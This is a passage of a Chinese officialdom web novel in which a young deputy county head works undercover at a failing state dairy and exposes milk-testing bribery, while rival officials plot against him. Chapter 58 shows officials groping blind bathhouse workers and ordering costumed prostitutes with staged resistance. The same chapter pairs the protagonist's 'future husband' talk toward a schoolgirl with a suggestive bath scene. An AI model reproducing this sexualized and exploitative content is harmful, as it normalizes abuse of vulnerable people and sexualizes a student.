站长推荐



热门搜索

站长推荐

[都市]官道之色戒-14

  

第二卷 挂职青羊县 第58章 未来老公


‘在水一方’是青羊县城最大的洗浴中心,门脸拓得很宽,两人高的大牌子立在六楼的楼顶上,门口站着四个穿着保安服装的年轻女孩,这是老板马天乐的最新创意,他管这个叫制服诱惑,这是他最新发明的促销手段,果然推出后效果不同凡响,门前立时多了很多小车,从车牌上看,公安、财政、工商、税务、交通、银行、……各个机关单位的都有,所以马天乐被人称作是二县长,说如今青羊当官的白天都到大县长那开会,晚上都到他二县长这消费。
马天乐听了这话却高兴不起来,外人都看他风光有面子,在青羊地面上很少有摆不平的事,但很少有人知道,这位马大老板其实只是个打工仔,一个月的工资才两千多块,这在青羊虽然算高薪了,可在青州根本算不上啥,这家洗浴中心真正的主人是魏军夫妇,魏军是魏明德家的老幺,常务副县长魏明理的亲侄子,不过那两口子在市里还有别的买卖,根本忙不开,就雇了他营,毕竟马天乐以前在广州干过很多年的马仔,业务上很熟。
马天乐看着‘哗哗’的票子从手边过,却从来都不敢动半点心思,魏军的名字听起来不咋地,但他的外号太响亮了,在青州几乎是家喻户晓,提起魏三魏瘸子,又有几个不知道的呢,小九哥已经在年前被青州市局的刑警大队给铲除了,现在只有龚老太爷才能与魏三分庭抗礼,那还是因为魏三把心思都放在生意上了,不想惹事,毕竟家里有个当大官的伯伯,他怕自己干的那些事拖大伯后腿,不然以魏三的狠劲,青州的地下只能容下他一个君王。
马天乐规规矩矩地站在六楼的小浴室门口,浴室里面传来哗哗的水声,青羊如假包换的二县长魏明理正带着几位副县长正在里面洗澡,他这个冒牌货就只有在门口站岗放哨的份了。
魏明理此时正挺着大肚子趴在长椅上,他旁边是五十二岁的赵国庆,两人正舒服得呲牙咧嘴,两个全身赤裸的搓澡女工正用力地为他们擦试身体,因为是盲人,所以她们并不知道身体下的男人是什么样的身份,只是知道这两个男人不太老实,一双手总在底下摸来摸去,本来十分钟的活愣是干了半个小时,但这里是贵宾房间,无论客人做什么,她们都得忍耐。
“马勒戈壁的,呸!给脸不要脸,等我收拾完姓邹的,第一个把他搞下去,什么东西,在老子面前还敢装蒜。”魏明理骂骂咧咧地道。
赵国庆摇头道:“老魏啊,你得听军师的,不能胡来啊,大局为重。”
张振武躺在池子里,脑袋枕在池边,眯着眼睛叹道:“你最好现在就跟他干,反正三号老板把他派到这来,就是让你老魏来当磨刀石的,说白了,没准你整他整得越凶,三号老板就越开心呢,那叫摔打,明白不,怎么才能练成好钢?那得千锤百炼。”
魏明理听后皱皱眉头,点头道:“不错,振武说的有道理,我不能让那老家伙称心如意了,不过老大错过这次机会,估计以后也就冲不上去了,时间不够用了,我就是憋着这口气,整王培生那次,老大费了多大的劲,结果被他姓周的从半路上捡了便宜,一号老板嘴上说不偏不倚,可实际上还不是向着他,那次姓王的在医院打了柳大元,老大想用这事做点文章,硬让一号老板给压下来了,马勒戈壁的,为了一号老板,老大跟姓程的姓柳的拼得多凶啊,结果到头来一点好处都没捞着。”
他说这个话题,浴室里的人就都不敢接茬了,这种话也就这天不怕地不怕的魏老二敢说,其他人连接话的胆子都没有。
后背搓完后,两个搓澡工到池子里舀了盆热水,哗哗地冲过去,随后两人又去打上香皂,冲干净身子,也慢悠悠地下了池子,魏明理就笑着冲张振武道:“振武,这小子已经答应两不相帮了,你说下一步该咋干,想好了吗?”
张振武点点头,从脑袋后面的烟盒里摸出一根烟,点上后狠吸上一口,轻声道:“钩子已经下好了,先从他身边的人突破,这种事情你不要参与进去,我会安排底下的人做好,你要做的就是常去粟老大那去表决心,我怕他不放心你,毕竟姓邹的已经被他整老实了,上面也没了依靠,用他当这个二把手其实最合适不过,你不同,你上面有人,干好了就能威胁到一把手的位置,我现在最怕的就是螳螂捕蝉黄雀在后,粟老大明面上踩姓邹的,实际上是在作秀,引我们上钩,假如这件事情上我们犯了大错,他就能坐收渔人之利。”
魏明理哈哈大笑,拍了拍张振武,大声对浴室里其他三个人喊道:“军师牛不?”
那几个人都连声应道:“牛,还是军师脑袋瓜子够用,深谋远虑啊。”
张振武笑笑,摇头道:“我算哪根葱,跟老粟比,萤火虫而已,每次看到他我这心里就直突突。”
魏明理点点头,叹了口气道:“在青羊我谁都不服,就怕那老东西,他要发火还好点,我就怕他笑,马勒戈壁的,笑得那叫一个瘆人。”
几个人披着浴巾出来,马天乐忙点头哈腰道:“二爷是码砖还是放炮?”
魏明理嘿嘿笑道:“先放炮再码砖,我今天玩护士,振武你呢?”
张振武摸摸鼻梁回道:“警察。”
魏明理就笑着挤兑道:“我还以为你要玩老师呢,听说你把你儿子的班主任给玩了,照片都他娘的被传到网上去了。”
张振武嘿嘿干笑了两声,摇头道:“哪有那事,不是我干的。”
赵国庆已经等得心痒难耐,忙把马天乐拉到一边,低声道:“我还是要空姐,就是上次那个长腿光屁股的,让她穿空姐衣服来。”
另外两个人也都报了职业,马天乐拿笔在菜单上勾好,刚想走,又被张振武叫住,轻声嘱咐几句,马天乐这才匆匆跑下楼,推开五楼的一间房间,拿着菜单对着满屋子的莺莺燕燕喊道:“要护士两个,空姐一个,豹女一个,女警一个,女警别穿内裤,办事前要记得反抗……”
————————————————————————————————
王思宇此时正在网上查资料,在百度上敲出“贫困县发展工业的思路。”结果一下子出来二百多页相关信息,他就一页页点进去,把自认为有用的信息都来个,把这些东西都整理好后,他点着一根烟细细查看,就觉得发展工业的干法虽然千差万别,但真正的核心只有一样,就是政府转变职能,从约束管理变为实心实意为企业服务,为他们排忧解难,而且落后地区的企业最大的问题就是转制问题,许多成功的案例都是在于倒下一批国营企业,站起一批民营企业,包袱越是舍不得丢下,就会越背越重,王思宇感觉自己的思路忽然就豁然开朗起来。
正看得专注时,只见头像闪动,好友亮晶晶发来一个笑脸,“小宇哥哥,你还没休息啊?”
王思宇忙道:“好妹妹,你可是到关键时刻了,不能总上网,要抓紧时间学习啊,考不上北大清华那样的一流学府,我是不会理你的。”
亮晶晶打过来一行555555,又丢来几只带血的匕首图案,最后发来一支玫瑰,就匆匆下了线,王思宇不禁哭笑不得,这个小丫头啊……
没一会,手机忽然响起,接通后传来方如海的声音,他把声音压得极低,“小宇啊,刚才是我让小晶上会电脑的,她最近拼命的学习,我看着有点心疼啊,回头你有空常给她打打电话,劝她注意休息,我跟她雪滢阿姨劝她都不听,现在她就听你的话……”
王思宇听后看看表,才发现此时已经是夜里十一点多了,就觉得心里有些歉意,忙说:“老师你放心,我一定让她注意休息,这事交给我办,您不用担心。”
方如海听了就哈哈一笑,说:“小宇其实我还真想让你当上门女婿,现在提这话还早,以后看咱爷俩有没有那个缘分吧。”
王思宇半天没吭声,方如海又打听了一下他的近况,王思宇就把最近发生的事情都一五一十的讲了出来,还把他的一些想法也都跟方如海简单描述了下,方如海在那边沉吟道:“你的思路是对的,不要被那些乌七八糟的事情捆住手脚,跳出来,专心干点实实在在的事,你现在的位置如果做好了,还是能为老百姓干点好事的。”
王思宇点头道:“我就是这个意思,以前有那个心思没那个能耐,现在既然有机会了,就把心思沉下来,干点正经事。”
两人随意聊了一会,王思宇就挂断电话,想了想,就拨通了方晶的手机,“小晶,听说最近你学得很累,不太注意休息,这样非常不好,我都告诉你好多次了,要注意劳逸结合,现在别学习了,去上床睡觉。”
方晶在那边憋着小嘴道:“哼,本大小姐现在喜欢学习,我就不休息,凭什么听你的呀,讨厌死了。”
王思宇就笑着打趣道:“你不听小宇哥哥的话了?”
方晶把小脑袋瓜摇成拨浪鼓,顶嘴道:“不听不听就不听,没人疼没人爱的,累死得了。”
“我以你未来老公的名义命令你,马上给我滚回床上睡觉!”王思宇大声吼了一句,就把手机丢在床上。
方晶吓得吐了下小舌头,挂断手机后,咬着嘴唇发了一会呆,忽地‘咯咯’笑了起来,羞答答地从书房走出来,懒洋洋地喊道:“雪滢阿姨,我不学了,帮我放水,我要洗澡澡啦。”
陈雪滢帮她放好洗澡水,方晶就脱了衣服躺在浴缸里,轻轻地往脸上撩水,没过几分钟,小手就停了下来,从光溜溜的身上滑下去,闭着眼睛安静地睡去。


第二卷 挂职青羊县 第59章 要命的误会
周三早上七点半,县政府大院门口停下一辆黑色的桑塔纳轿车,车门打开后,县工业局局长田忠实挺着个大肚子从里面走出,他看看手表,见时间还早,楼上的办公室不见得能开门,就站在院子里的公示栏前看了会报纸,磨蹭了约莫有十几分钟,见上班的人已经稀稀落落地从四处赶来,就背着双手一步三摇地迈步进了政府办公楼。
没走多远,他的脚步就停了下来,目光停留在一楼的政务公开栏前,他走上前去,拿着手指寻着领导照片一路指去,很快就发现主管工业的副县长的彩色照片,照片上的人居然是个二十四五岁的清秀后生,怎么看都觉得像个刚刚毕业的大学生,田忠实就站在那里‘咳咳’地咳嗽两声,扭头见四下里没人注意,就清了清嗓子,对着照片微微鞠了个躬,哑着嗓子低声道:“王县长,您好。”
“您好,王县长。”
似乎是感觉说话的时候,脸上的笑意不够诚恳,田局长就又重新演练了几次,但效果都不太好,主要是这位照片上的副县长太年轻了,在他面前摆出这种低姿态,田忠实总觉得心里怪怪的,不管怎么练,都拉不下脸来,前前后后伺候了那么多领导,就没一个这么年轻的,看起来跟二丫的岁数差不多。
田忠实在工业口已经干了三十来年,从一个小科员干到现在身兼数职,历任工业副县长都很倚重他,副县长换了一茬又一茬,他这局长却雷打不动,靠的不是他后台硬,也不是真本事,而是一身高深的拍马屁的技巧,不管分管工业的领导是张三还是李四,他都能给伺候得舒舒服服地,领导舒服了,他也就舒服了。
这位田局长在单位等了足足两个礼拜,也没等到分管工业口的副县长召见,这心里就急慌慌的,不知道对方打的是什么主意,暗想这位新来的副县长架子够大,看来是等着咱主动过去汇报工作呢,他就赶忙让办公室搞出一份像样的工作计划,外带买了两条中华烟放在包里,为了显示诚意,他没去单位,早早地就跑到这边来了,打算尽快把新领导搞定。
敲开分管工业的副县长办公室,却没看到新来的王县长,只发现李青梅正拿着抹布在屋里做卫生,她把桌椅沙发擦得光亮亮的,一尘不染。
按照魏明理的安排,李青梅现在实际上已经是王思宇的专职秘书了,这其实是张振武出的主意,他和魏老二讲的是要对王思宇加强监督,不能掉以轻心,以防节外生枝。
但实际上,张振武心里却在打着属于自己的小九九,魏明理有勇无谋,跟着他干,自己恐怕最多只能坐到常务副县长的位置,将来要想再进一步,就得换条大船,眼下的王思宇就是现成的登船梯,只要拿下他,不愁进不了周副书记的视线,以自己的头脑,要是上面能找到依靠,又何必给别人当幕僚,费了九牛二虎之力,最后捞不到骨头吃,只能喝点肉汤。
他存了这个念头,就不停地提醒李青梅,说千万要把他搞定,此人绝非池中之物,人家挂职期满,调回市里,肯定会被委以重任,你把他搞定了,能省去我努力十年。
李青梅听得就直迷糊,心想振武这话是啥意思,难不成是在暗示我,让我也把小王县长迷得分不清东南西北?
想起那天偷偷听到的一声尖叫,她的心就慌慌的,说:“振武,我已经试过好多次了,他还是在提放我,我看自己是搞不定了,你再想别的办法吧。”
张振武一听就急了,忙不迭地劝道:“老婆你要沉住气,他现在是对你的身份有怀疑,所以不敢信任你,你要想办法取得他的信任,要慢慢地感化他,一点点地来,只要时间长了,肯定能搞定。”
李青梅听了这话就觉得心里不是滋味,这里面的意思已经有点暧昧了,好像只要能搞定他小王县长,自己可以不择手段,看来老公已经成了官迷,为了升官连老婆都豁出去了。
其实她是想多了,张振武虽然做梦都想往上爬,但绝对没有想过靠戴绿帽子升官,再怎么说,他也是个知识分子出身,这点骨气还是有的。
李青梅这心里不高兴,在脸上就显露出来了,张振武瞧出她神色异样,心里也是不太好受,让老婆出马去搞定别的男人,他心里也觉得不舒服,但这种事情只能两口子去办,别人根本指望不上,但他自己这身份特殊,没办法在这时候舍了魏老二,跑过去向王思宇献殷勤,所以这事只能由李青梅来办。
他琢磨老婆这么生气,可能是不愿意低声下气地去干那些伺候人的活,就赶忙开导她,轻声道:“你看我现在帮魏老二办事,得罪了不知多少人,我知道天天都有人在咒我早死,将来有朝一日失了势,肯定被人报复,到时候你怎么办?洋洋怎么办?人在官场只能进不能退,就是这个道理。”
李青梅耳朵根子软,听他这么说,也就没了主意,原本她就想偏了,这样一来,更是错上加错,以为张振武是铁了心让自己去勾引小王县长了,心里虽然难过,但转念一想,反正妹妹都已经牺牲了,实在不行,自己也就豁出去了,这女人只要肯豁出去,没有搞不定的男人。
她皱着眉头想了半天,就担心张振武算计得不准,自己白白搭了身子,就赶忙又追问一句:“搞定他真有你说的那么重要吗?”
张振武就算打破头都不会想到,自己的老婆会把事情想到那种地方去,就用力地点点头,很肯定地说:“我看人很准的,要不是眼瞅着就能捞到常务副县长的位子,我现在就想倒过去,在他没发迹的时候投奔过去,以后一辈子都不愁了,等人家已经飞黄腾达了,想去巴结的人都得排出二里地,哪能轮到咱们。”
李青梅这才下定了决心,干脆就把办公桌搬到王思宇的办公室,暗想再试上几个月,争取通过努力工作讨得他的欢心,实在不行,干脆就使美人计。
可惜王思宇不知道她的心思,否则早就一路飞奔回来,强烈要求中计了……
“田叔,你来啦,快坐。”李青梅把抹布放到一边,拿毛巾擦了手,笑吟吟地为他端上一盏茶,就坐在下首的长条沙发上,理了理额前的发丝,瞄了眼田忠实腋下鼓鼓囊囊的黑包,抿嘴笑道:“是来向王县长汇报工作的吧?他最近没来上班。”
“哦?”田忠实咪上眼睛,心里就有些高兴,他是知道很多挂职干部都是不专心工作的,常年离岗的很多,挂职不挂岗,再说青羊这穷地方,估计市里来的人也呆不下去,这样更好,没了上面的指手画脚,他田忠实过得更滋润。
“青梅啊,我是来给王县长送材料来的。”说着田忠实从包里掏出材料放到王思宇的办公桌上,又把两条中华烟拿了出来,刚要放到桌上,李青梅却在旁边说话了。
“田叔,王县长不在,这烟你得拿回去,不要让我作难,万一他不喜欢别人送礼,我会被领导批评的。”
李青梅瞥了眼田忠实手中的烟,赶忙轻声制止道,她现在是一门心思要搞定小王县长,所以做事谨慎得很,生怕因为极小的失误,给领导留下很坏的印象。
“好,好,青梅啊,那我就不叫你作难了啊。”田忠实把烟重新装到包里,端着茶水坐在沙发上,见李青梅抄起拖布弯腰擦地,他就赶忙把腿架起来,一边喝茶,一边看着李青梅绿色长裙下,那浑圆挺翘的美臀摇来荡去,他的心也就跟着直晃荡。
田忠实和李青梅相识两年多了,一直垂涎于李青梅的姿色,不过有那贼心却没那贼胆,张振武的老婆谁敢惦记啊,他是知道的,以前有个不识相的副主任借着酒劲,跑到李青梅的办公室里说了几段黄篇子,结果险些被开除公职。
看着李青梅把地擦得干净,田忠实赶忙把目光收回来,表情换成了一种长者特有的慈祥,微笑着从兜里捏出一支烟,捏着缓缓地转了几圈,又放在鼻子下嗅了两下,这才把香烟稳稳地夹在指间,慢吞吞地点上火,深吸一口后,摆弄着手中的打火机,鼻子里喷出一股青烟,冲着李青梅微微一笑,和声细语地问道:“青梅啊,你给田叔透个实底,小王县长是不是回市里了?”
“这个我也不太了解,总之他最近十来天都没到办公室了。”李青梅这话说得含糊,她是知道王思宇还在青羊县的,但具体每天都去哪,就不太清楚了,前两天趁着汇报工作的时候,她也很好奇地打听了下,王思宇的回答让她很困惑,“我现在钻到铁扇公主的肚子里去了。”
李青梅仔细听去,电话那头似乎还有机器的轰鸣声,就知道应该是个工厂,她不禁就有些肃然起敬,就没有想到,这句话里其实还有其他的意思,更不会想到,说完这句话后,道貌岸然的王副县长脸上露出的那种极为猥琐的表情。
田忠实坐在沙发上跟李青梅闲聊,想通过她打听一下这位小王县长的嗜好,李青梅倒不是不想说,但她实在也是对王思宇所知有限,自从她搬到这件办公室以后,王思宇就从没进来过,一直在底下搞调研。
两人正扯着闲话,王思宇办公桌上的电话铃声突然响了,李青梅忙走过去,接起来听了一会,放下后就从办公桌的抽屉里掏出记事本记了下来,田忠实在场,她不方便给王思宇打电话,把记事本放回抽屉后,李青梅就说要出去一趟,田叔你慢坐。
田忠实忙站起身告辞,站起身子后,不经意间目光就瞄到王思宇的办公桌,在那层透明软胶垫下面压着一张宣纸,宣纸上是狂草字体,写的是:“当官有风险,入仕需谨慎。”
田忠实一边往出走,心里就一边嘀咕,这字上写的是要谨慎,可这笔法怎么会那么张扬呢?他当然不知道,王思宇只是一时心血来潮,在模仿方如镜的笔法,不光如此,他还在每天早晨起床后,对着镜子修炼方如镜眼神中的无形剑气,他悟性颇佳,如今已经略有小成……
出了县政府大院,田忠实就上了轿车,司机开车就往工业局方向去,开到半路田忠实就琢磨着不对,上面的材料虽然是准备齐全了,可下面的企业也得转一圈,不然万一哪天这位小王县长心血来潮,直接跑下面企业里开个现场办公会,到那时候自己一问三不知,那可太被动了。
“老张,掉头,去造纸厂。”田忠实皱眉吩咐道。
造纸厂在西南方向,下了公路之后就是土道,路况很不好,那地方是郊区,没有直达的线车,小车开到一个小山坡的时候,路面很窄,偏偏前面还有个小年轻挡着路,他骑着自行车左扭右拐的,不专心赶路,反而拿着手机在打电话。
田忠实看了就生气,司机狂按了一通喇叭,年轻人才闪开一条道,田忠实把脑袋伸向窗外,对着后面的年轻人就骂了句:“傻叉!”
再次回头时,却见那人远远地冲他亮出中指。
“工业局的车!”王思宇费力地蹬着自行车,眯着眼睛看了眼桑塔纳的车牌,就不由得充满自信,虎躯一震之后,眼神里射出一股天上地下唯我独尊的王霸之气,“小样的,田大膀子,看老子还朝之后怎么收拾你。”


第二卷 挂职青羊县 第60章 副厅级奶牛
正牛皮哄哄的时候,脚底下突然一阵轻松,自行车居然在他信心爆棚的时候掉了链子,王思宇只好翻身下来鼓捣,这辆永久牌自行车是他花了十五块钱,从市场一个卖鸡蛋的老太太那买回来的,本来图的是就是一个省钱,可钱是省了,却多费了不少的力气。
自行车是挺便宜,但一分钱一分货,骑上它跑了不到半里路,却掉了三次链子,把个王副县长气得暴跳如雷,却又无可奈何,这东西是个死物,它可不管你是王县长还是王省长,想啥时候掉链子就啥时候掉链子。
青羊县是个贫困县,工资待遇比别的地方都要低,王思宇调到这来虽然当了副县长,但工资却比在市委办公室当科长时低了二百,王思宇现在穷得很,平时省吃俭用的,不为别的,就想在今年入冬以前,攒钱给张倩影买件像样的貂皮大衣。
车子修好,看看表,已经是八点二十了,还有十分钟就要迟到了,他赶忙蹬着自行车往坡上赶,王思宇现在的身份是青羊县乳品厂的一名普通工人,在液态奶车间的前处理工段行走,月薪三百,没有加班费,不过前天工段长李大能耐说了:“小王你好好干,我准备下个月提你当副班长。”
王思宇当即拍着胸脯表态:“李哥你放心,我肯定好好干,决不给你丢脸。”
王思宇是李大能耐给招到工厂里的,他那天下来玩微服私访,一不小心就玩过了头,刚巧在工厂门口看到招聘启事,他就报了名,跟着十几个人乱哄哄地走进去面试。
李大能耐当时正急着跟维修工修理机器,没时间一一面试,他急慌慌地往人群里瞅了瞅,一眼就看中了王思宇,用手指着王思宇,对旁边的人事科长说:“这小子这架子端得挺大啊,怎么瞅着比咱们厂长还牛呢,领导他应该挺有成就感,就是他了。”
李大能耐当时是不知道啊,最牛的人是他自己,一句话说出来,王思宇当天就被一撸到底,直接从副县长变成临时工。
青羊乳品厂是青羊县的老牌国营企业,注册资产一百二十万元,八几年乳品行业火爆的时候,厂子效益颇佳,是青羊县里最红火的企业之一,曾是当年青羊县国有企业中的五朵金花之首,青安牌奶粉曾经连续七年被评为省级知名品牌,着实风光了一把。
可好景不长,随着市场竞争的急剧恶化,外加工厂管理不善,内外交困之下,乳品厂已经濒临破产边缘,奶粉车间每月只开工五六次,不是为了生产小袋奶粉,而只是为了消化无法处理的过剩奶源,液态奶车间稍稍好些,每天都在运转,只是生产量不到原有产能的百分之三十。
王思宇之所以选择先从这家企业着手,是有着现实的考虑的,一方面这家工厂原有的一百五十余名正式员工,在几年前就早已各奔他乡,另谋生路去了,现在工厂的员工,除了几个留守的管理层外,职工多以临时工为主,所以假如能够实现改制重组,就变相避开了高额买断工龄的费用,即便需要补偿,也有足够的缓冲时间,这是其一。
另外一条最重要,但不能对外讲,自从被周妖瞳算准了一些事情后,王思宇就也有些迷信了,有天下午他就找出从周妖瞳那抢来的《十六字阴阳风水秘术》,坐在办公室里一顿研究,虽然看了个稀里糊涂,他还是决定试一试,捏了几个铜钱在办公桌上丢来丢去,摆弄了三四个小时,最后将上百次卜卦结果进行统计分析,按照概率推算出,这第一炮要想打响,就得在西南方向下手……
这事王思宇下定决心隐瞒一辈子,绝对不能让上级领导知道,包括周松林,否则年轻有为的王副县长肯定会被立即踢出革命队伍,永不录用。
紧赶慢赶,还是迟到了五分钟,收奶间门口已经停了三辆奶槽车,王思宇赶忙冲进换衣间,换上蓝色的工作服、戴上兜着头发的白色工作帽、蹬上黑色的胶皮靴,稀里哗啦地冲过消毒池,拿消毒液洗过手后,直接跑进车间里的原奶化验室。
化验室的小胖姑娘已经等得着急,正倚在门口四处张望,见他过来,赶紧递过取样器,轻声提醒道:“王大哥你要小心,听说奶贩子里有人要整你。”
王思宇点点头,来不及多说话,就急冲冲地跑到外面,攀上奶槽车,打开拧紧的螺栓,掀开盖子,用车上自带的耙子在里面上下翻动,把满满一罐的牛奶充分搅拌均匀了,将取样器伸进去,取了奶样倒进杯子里,再把盖子扣上,螺栓重新拧好,跳下车来,拿着冰凉的杯子奔回化验室。
这样往返几趟,十分钟内就把三个奶样取好,王思宇赶忙在几个大罐中间跑来跑去,把一条条不锈钢管道上的蝶阀摆好位置,拎着胶皮管子跑出去,站在外面等,不到三分钟,化验结果就出来了,全部合格。
王思宇当然知道,这化验结果不准确,通过这段时间的摸底,他已经把原奶化验室里的情况摸透了,这里一共九个化验员,有六个收奶贩子的钱,工厂的化验室主任林希敏就是其中之一,据说她家靠着每个月近万元的灰色收入,已经在青羊买了五六栋房子,但因为她是厂长的儿媳妇,所以没人敢过问。
喊了小班长,两人配合着将鲜奶打入奶罐,随后跟着生产线走,一会打开这个阀门,一会关上那个按钮,计算着时间,严格按着工艺要求操作。
一直忙到中午的时候,王思宇亲自操作一台杀菌机,把杀菌后的鲜奶打到架在半空中的高位罐里,后包装的女工们此时也已经叠完纸箱,就陆陆续续地从小板凳上站起来,走到传送带两旁,而机手调试了一会机器,就把高位罐上的阀门打开,开动机器进行灌装。
随着包装机‘嘎啦嘎啦’地一阵响动,一袋袋鲜奶被包装出来,输送到传送带上,众女工便站在传送带两边,分别将印着青羊纯鲜奶字样的塑料袋奶放进纸箱里,封装好后又摆在栈板上。
王思宇正帮着几个女工装箱,化验室的小胖姑娘就急慌慌地跑来,说有三号罐里的五吨原料奶已经坏了,我们主任已经填好报损单,你可以去放掉了。
王思宇早知道是这个结果,大概是上午收的原奶里面有一罐是坏掉的,结果交叉污染,导致整罐鲜奶全部报废,这样的事情已经多次发生了,要不怎么说工厂亏损严重呢,这样干下去,想不亏损都难。
不过现在还不是解决问题的时候,王思宇忙跑到原奶间,扳开三号罐底下的阀门,一罐白花花的牛奶就哗哗地流出来,顺着排水沟淌了出去,这时候李大能耐手里握着管钳子跑过来,气得扯着嗓子骂:“林希敏我草你妈了个,你个小骚货,这一下又放掉了八千多,有你在一天,这厂子算没好了。”
几个前处理的工人听到他的骂声,赶忙跑过来,两个人拉着他往回走,边走边劝,另外两个扯着黑色胶片水管,帮着王思宇冲洗地面。
前面拾掇利索,王思宇就拿着大饭盒蹭蹭地往后院食堂跑,进了食堂后,发现正有几个人揪着食堂管理员在那嚷嚷,走过去一打听,原来这家伙也学会了捞钱,从化验室里偷了西红柿香精和鸡蛋香精,做好汤后放凉了就往里勾兑,结果被人给发现了。
王思宇这个气啊,怪不得这些日子汤里边看不到东西,味道还他娘的挺纯正,感情这老东西也玩起技术创新来了,那几个工人就撕吧着要动手,王思宇就坐在椅子上拿勺子敲饭盒,在旁边煽风点火,大声喊着:“揍他!揍他!干死这狗日的!”
这时候厂里的刘秘书从外面跑进来了,大声喊着:“都停手,夏厂长说了,谁敢打他老姨夫,谁就马上滚蛋,我看哪个敢动手!”
那几个人听了这话,就只好松开手,食堂管理员这才重新抖起威风来,跑进里屋,对几个盛饭的吩咐道:“刚才那几个要动手的,别给他们饭吃,马勒戈壁的还反了天了,饿死那几个狗日的……”
就着咸菜,简单地吃了两个馒头喝了一碗粥后,王思宇就开始四处转悠,到制冷机房跟老张头聊上一会儿,到锅炉房老李头那坐上半个小时,再去化验室转悠几圈,什么电工机修工搬运工啊,逮谁跟谁聊,总之除了那个做卫生的哑巴外,这些天凡是能说话的他都跟人家混得挺熟。
等觉得脑袋快记不住聊天内容的时候,王思宇就打着上厕所的幌子跑出去,从冰水池旁的大石头底下掏出一个记事本,躲到公共厕所里一行行地把通过聊天得来的重要信息全部记录下来,这些都是宝贵的第一手资料,按化验室里那帮老娘们的话说,这叫原始数据。
不过这样做有个极坏的副作用,现在几乎全厂的工人都知道了,这位新来的小王什么都挺好,能说会道的,干起活来手脚也麻利,连氩弧焊都敢摆弄,用不了多久,就是第二个李大能耐,就是一样不好,年纪轻轻落下了肾虚的毛病,总是一趟趟的上厕所,所以除了小胖姑娘外,其他的女工总是用一种异样的眼光看着王思宇,有鄙夷的,也有同情的……
到了晚上下班的时间,王思宇正骑着自行车从郊区往县城里赶,骑到半路,离着老远就发现养牛户孙二麻子牵着头奶牛乱蹦乱跳,王思宇这个纳闷啊,这二麻子咋还与牛共舞了,看那动作,比跳拉丁舞还劲爆。
来到近前才发现,原来是那头黑白花奶牛折腾得欢实,直撂蹶子,任凭二麻子怎么用力拉缰绳,它就是不肯消停下来。
“大花这是咋了?二麻子?”王思宇下了车,走过去跟二麻子一起把奶牛制服。
“二道奶没挤干净,憋的,小王,我把住后腿,你帮着撸撸。”二麻子说完扔给王思宇一瓶凡士林,随后一屁股坐到地下,抱住奶牛的两条后腿。
王思宇赶忙把凡士林抹在手上,充分润滑后,蹲下身子,捏着大花的两个大就撸了起来,大花这下安静下来了,站在原地一动不动,尾巴摇来荡去,一副很爽的样子,不时还‘哞哞’地叫上几声。
“大花啊,你比县委书记都牛啊,还得我王副县长亲自给你撸奶,你他娘的莫非是副厅级奶牛?”


第二卷 挂职青羊县 第61章 要多少?
周五上午的生产很不顺利,先是均质机出了毛病,就是加不上压力,王思宇把均质头拆下来才发现,其中一个均质阀磨损严重,到备品库领了全新的备件,装上之后才恢复正常。
好不容易修好了均质机,蒸汽压力又不稳了,跑到锅炉房去看,输送端没问题,这个王思宇就没办法解决了,只能满车间地找李大能耐,前院后院找了半天没找着,最后他直接进了冷库,发现李大能耐正在那按着相好的干坏事呢,王思宇这个气啊,这里面温度这么低,你他娘的也不怕把那玩意冻掉了。
李大能耐是真有能耐,到车间转悠了一圈,直接扛个梯子爬到蒸汽管道上,把一条管道上的减压阀拆下来清洗一遍,把杂质去除掉,再装上,蒸汽压力立马恢复正常,末了还没忘记数落王思宇一顿,“以后上午别去冷库,要去也记得提前敲门。”
下午的时候,收奶间门口又来了一车奶,王思宇就纳闷,按照生产计划,原奶早就收够了啊?怎么又多出一车奶来,不过对方有单子,王思宇只好按照流程走,他刚想上车取样,却被奶贩子刘健拉到一旁,刘健偷偷塞给王思宇三百块钱,说:“兄弟,请帮个忙。”
王思宇看着那张柿饼子脸心里就有气,娘了个腿的,拿三百块钱就想贿赂副县长,你也太小看咱了吧?
二话没说,王思宇直接把钱给他丢了回去,上了奶槽车,打开盖子一看,里面的奶都快变成浆糊了,已经坏得一塌糊涂的了,盖子上面拴条绳子,绳子上吊着一个奶桶,这奶桶里的生奶看起来倒是挺新鲜的,看来这个刘全友是打算让自己作假。
王思宇也懒得打耙了,直接拿着取样器就把坏奶舀到杯子里,径直进了化验室,刘健当时气得脸色发青,掏出手机拨了个号,走到一边轻声说了几句,挂断电话后神色恢复如常,得意洋洋地抱着膀子等结果。
王思宇没想到这些家伙竟然嚣张到这种地步,这车奶竟然直接被判定为合格,他气得跟化验室里值班的副主任理论,那个中年妇女却皮笑肉不笑地讥笑道:“厂长让收的,你去找他说吧!”
王思宇心想厂长算个屁,过两天让你们这些蛀虫集体下岗,他转身推门出去,出了车间,刘健见他出来,就在那晃着膀子吹口哨,挤兑道:“你不牛逼吗?有本事你别收啊!”
王思宇笑着走到奶槽车前,一把扳开阀门,坏奶从管道里‘扑哧扑哧’地涌了出来,刘健见状赶忙上来关阀门,却被王思宇一脚给踢了出去,他车上的司机见状拎着扳手就下来,往前比划着就要动手,这时前处理工段就蹿出几个工人来,手里都拿着不锈钢管,这两个家伙见状,就没敢靠前,只能眼睁睁地看着奶‘哗哗’地往地上淌。
刘建抽搐个脸就掏出手机哇啦哇啦大声喊,这时候车间里的工人都听到消息了,呼啦啦跑出来三四十人,围在这里看热闹,李大能耐看着流得满地的奶块,就开始扯着脖子骂:“马勒戈壁的,这奶也能收,这他娘的还用化验吗?化验室的人都是瞎子吗?”
化验室的那位副主任听了,就趴在窗口,探出脑袋辩解道:“夏厂长让收的,关我们化验室啥事,李大能耐你有本事去骂夏厂长啊!”
李大能耐顿时没了脾气,他在这厂子里干得年头太多,舍不得离开,平时来上牛脾气还能骂几句,可真要到夏厂长那去较真,他还是不太敢的。
其实夏厂长也知道这李大能耐背后没少骂他,但生产线离了李大能耐就玩不转,所以也就睁一只眼闭一只眼,没跟他计较。
不大一会儿,刘秘书屁颠屁颠地跑了过来,分开人群,一瞅这满地的坏奶,也没了话说,嘴唇颤了半天,才大声道:“都回去干活去,有什么好看的。”
下班的时候,王思宇就收到了开除通知书,他笑嘻嘻地把通知书撕成碎片,扔在地上,骑着自行车扬长而去。
经过十天左右的实地考察,现场走访,外加亲身体会,王思宇得到了大量有价值的资料,摸清了这家国营企业的真实状况。
